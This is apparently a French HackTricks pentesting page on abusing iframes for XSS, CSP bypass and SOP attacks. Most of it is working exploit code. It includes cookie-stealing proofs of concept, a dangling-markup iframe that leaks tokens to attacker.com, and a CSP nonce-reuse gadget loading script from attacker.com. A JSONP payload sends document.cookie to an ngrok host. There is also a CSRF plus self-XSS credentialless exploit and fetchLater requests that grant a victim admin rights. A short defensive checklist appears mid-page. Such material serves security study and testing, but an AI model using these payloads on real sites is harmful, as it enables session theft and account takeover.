Iframes en XSS, CSP et SOP

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Iframes en XSS

Il existe 3 façons d’indiquer le contenu d’une page dans un iframe :

  • Via src indiquant une URL (l’URL peut être cross origin ou same origin)
  • Via src indiquant le contenu en utilisant le protocole data:
  • Via srcdoc indiquant le contenu

Accéder aux vars parent & child

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Si vous accédez au HTML précédent via un serveur http (comme python3 -m http.server) vous remarquerez que tous les scripts s’exécuteront (puisqu’il n’y a pas de CSP qui l’empêche). le parent ne pourra pas accéder à la variable secret à l’intérieur d’aucun iframe et seuls les iframes if2 & if3 (qui sont considérés comme same-site) peuvent accéder au secret dans la fenêtre originale.
Notez que if4 est considéré comme ayant l’origine null.

srcdoc particularités importantes dans de vrais exploits

Deux détails autour de srcdoc sont faciles à manquer lors d’une exploitation :

  • À moins que le frame soit sandboxed sans allow-same-origin, un document srcdoc est same-origin avec le parent. Par conséquent, injecter du HTML contrôlé par l’attaquant dans srcdoc équivaut généralement à lui donner un accès direct au DOM du document parent.
  • Bien que l’URL du document soit about:srcdoc, les URLs relatives sont résolues en utilisant l’URL de la page d’intégration comme base. Cela signifie que des payloads tels que <script src="/upload/payload.js"></script> ou <img src="/internal/debug"> cibleront l’origine parent, et non about:srcdoc.

Exemple de payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Ceci est particulièrement utile lorsque vous ne contrôlez que le markup mais que vous connaissez un same-origin path qui renvoie attacker-controlled JavaScript, JSONP ou HTML sans une CSP restrictive.

Iframes avec CSP

Tip

Veuillez noter que, dans les contournements suivants, la réponse de la page iframed ne contient aucun en-tête CSP empêchant l’exécution du JS.

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Remarquez que la CSP précédente n’autorise l’exécution que du script inline.
Cependant, seuls les scripts if1 et if2 seront exécutés, mais seul if1 pourra accéder au secret parent.

Par conséquent, il est possible de contourner une CSP si vous pouvez téléverser un fichier JS sur le serveur et le charger via un iframe même avec script-src 'none'. Ceci peut éventuellement être aussi réalisé en abusant d’un same-site JSONP endpoint.

Vous pouvez tester cela avec le scénario suivant où un cookie est volé même avec script-src 'none'. Lancez simplement l’application et accédez-y depuis votre navigateur:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nouvelles (2023-2025) techniques de contournement CSP avec iframes

La communauté de recherche continue de découvrir des moyens créatifs d’abuser des iframes pour contourner des politiques restrictives. Ci-dessous se trouvent les techniques les plus notables publiées ces dernières années :

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Quand une application reflète du HTML mais qu’une CSP stricte bloque l’exécution de scripts, vous pouvez toujours leak des jetons sensibles en injectant un attribut <iframe name> dangling. Une fois que le markup partiel est parsé, le script attaquant exécuté dans une origine distincte navigue le frame vers about:blank et lit window.name, qui contient désormais tout jusqu’au prochain guillemet (par exemple un CSRF token). Parce qu’aucun JavaScript ne s’exécute dans le contexte de la victime, l’attaque échappe généralement à script-src 'none'. Un PoC minimal :
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – Les nonces CSP sont lisibles depuis le DOM par des documents same-origin. Si un attaquant peut injecter ou uploader une page HTML same-origin et la charger dans un iframe, le frame enfant peut lire top.document.querySelector('[nonce]').nonce et créer de nouveaux éléments <script nonce>. Cela transforme une injection HTML same-origin en exécution complète de script même sous strict-dynamic (parce que le nonce est déjà trusté). Le gadget suivant escalade une injection de markup en XSS :
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Une page qui omet la directive form-action peut voir son formulaire de login re-targeted depuis un iframe injecté ou du HTML inline de sorte que les password managers auto-fill et soumettent les credentials vers un domaine externe, même quand script-src 'none' est présent. Complétez toujours default-src avec form-action !

Notes défensives (checklist rapide)

  1. Envoyez toujours toutes les directives CSP qui contrôlent les contextes secondaires (form-action, frame-src, child-src, object-src, etc.).
  2. Ne comptez pas sur le fait que les nonces soient secrets — utilisez strict-dynamic et éliminez les points d’injection.
  3. Lorsque vous devez intégrer des documents non fiables, utilisez sandbox="allow-scripts allow-same-origin" très prudemment (ou sans allow-same-origin si vous n’avez besoin que d’isoler l’exécution des scripts).
  4. Envisagez un déploiement défensif en profondeur COOP+COEP ; le nouvel attribut <iframe credentialless> (§ ci-dessous) permet de le faire sans casser les embeds tiers.

Other Payloads found on the wild

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Sandbox d’iframe

Le contenu d’une iframe peut être soumis à des restrictions supplémentaires grâce à l’attribut sandbox. Par défaut, cet attribut n’est pas appliqué, ce qui signifie qu’aucune restriction n’est en place.

Lorsqu’il est utilisé, l’attribut sandbox impose plusieurs limitations :

  • Le contenu est traité comme s’il provenait d’une origine unique.
  • Toute tentative de soumission de formulaires est bloquée.
  • L’exécution des scripts est interdite.
  • L’accès à certaines API est désactivé.
  • Il empêche les liens d’interagir avec d’autres contextes de navigation.
  • L’utilisation de plugins via <embed>, <object>, <applet>, ou des balises similaires est interdite.
  • Le contenu est empêché de naviguer le contexte de navigation de niveau supérieur.
  • Les fonctionnalités déclenchées automatiquement, comme la lecture vidéo ou l’auto-focus des contrôles de formulaire, sont bloquées.

Astuce : Les navigateurs modernes prennent en charge des options granulaires telles que allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, etc. Combinez-les pour accorder seulement les capacités minimales requises par l’application embarquée.

La valeur de l’attribut peut être laissée vide (sandbox="") pour appliquer toutes les restrictions mentionnées ci‑dessus. Alternativement, elle peut être définie comme une liste d’options spécifiques séparées par des espaces qui exemptent l’iframe de certaines restrictions.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Si la page embarquée est same-origin et que vous accordez à la fois allow-scripts et allow-same-origin, la sandbox devient une frontière très faible. L’enfant peut exécuter du JavaScript, accéder à top.document, et même supprimer l’attribut sandbox de son propre élément <iframe>:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

En pratique, sandbox="allow-scripts allow-same-origin" doit être considéré comme non sûr pour du contenu same-origin influencé par un attaquant. Il reste utile pour certains embeds tiers, mais ce n’est pas une frontière d’isolation contre du HTML same-origin hostile.

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: « un mécanisme pour charger des iframes tiers dans une partition de storage toute neuve et éphémère de sorte qu’aucun cookies, localStorage ou IndexedDB ne soit partagé avec l’origine réelle ». Conséquences pour les attaquants et les défenseurs :

  • Les scripts dans différents credentialless iframes partagent toujours le même top-level origin et peuvent interagir librement via le DOM, rendant les attaques self-XSS multi-iframe réalisables (voir PoC ci‑dessous).
  • Parce que le réseau est credential-stripped, toute requête à l’intérieur de l’iframe se comporte effectivement comme une session non authentifiée – les endpoints protégés contre le CSRF échouent généralement, mais les pages publiques leakable via DOM restent in scope.
  • Le storage est partitionné par un top-level document nonce : les frames credentialless sur la même page peuvent partager du storage entre elles, mais il est effacé lorsque le top-level document est abandonné.
  • Les pop-ups ouvertes depuis un credentialless iframe reçoivent implicitement rel="noopener", brisant certains OAuth flows.
  • Les navigateurs devraient désactiver autofill/password managers à l’intérieur des credentialless iframes, limitant le vol d’identifiants via autofill dans ces contextes.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exemple d’exploit : Self-XSS + CSRF

Dans cette attaque, l’attaquant prépare une page web malveillante contenant 2 iframes :

  • Un iframe qui charge la page de la victime avec le flag credentialless et un CSRF qui déclenche un XSS (Imaginez un Self-XSS dans le champ username de l’utilisateur) :
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Un autre iframe dans lequel l’utilisateur est effectivement connecté (sans le flag credentialless).

Ensuite, depuis le XSS il est possible d’accéder à l’autre iframe puisqu’ils partagent la même SOP et de voler le cookie par exemple en exécutant:

alert(window.top[1].document.cookie);

Attaque fetchLater

As indicated in this article the API fetchLater allows configuring a request to be executed later. This can be abused to, for example, login a victim inside an attacker’s session (with Self-XSS), schedule a fetchLater request (to change the password of the current user for example), and logout from the attacker’s session. Then, when the victim logs into their own session, the deferred request can execute using the cookies available at dispatch time, changing the password of the victim to the one set by the attacker.

Notes opérationnelles :

  • fetchLater entered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so vérifiez la disponibilité de la fonctionnalité avant de vous y fier.
  • La réponse n’est pas disponible pour JavaScript ; body/headers sont ignorés une fois la requête différée envoyée.
  • L’application de la CSP utilise connect-src (pas script-src) pour les requêtes différées.
  • Les requêtes s’exécutent lors du unload de la page ou à l’expiration de activateAfter (selon ce qui survient en premier).
  • Le délai maximal unique est actuellement 299000 ms, donc les attentes longues nécessitent de re-planifier plusieurs requêtes différées.

De cette manière, même si l’URL de la victime ne peut pas être chargée dans un iframe (à cause de la CSP ou d’autres restrictions), l’attaquant peut quand même exécuter une requête dans la session de la victime.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes dans SOP

Consultez les pages suivantes :

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Références

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks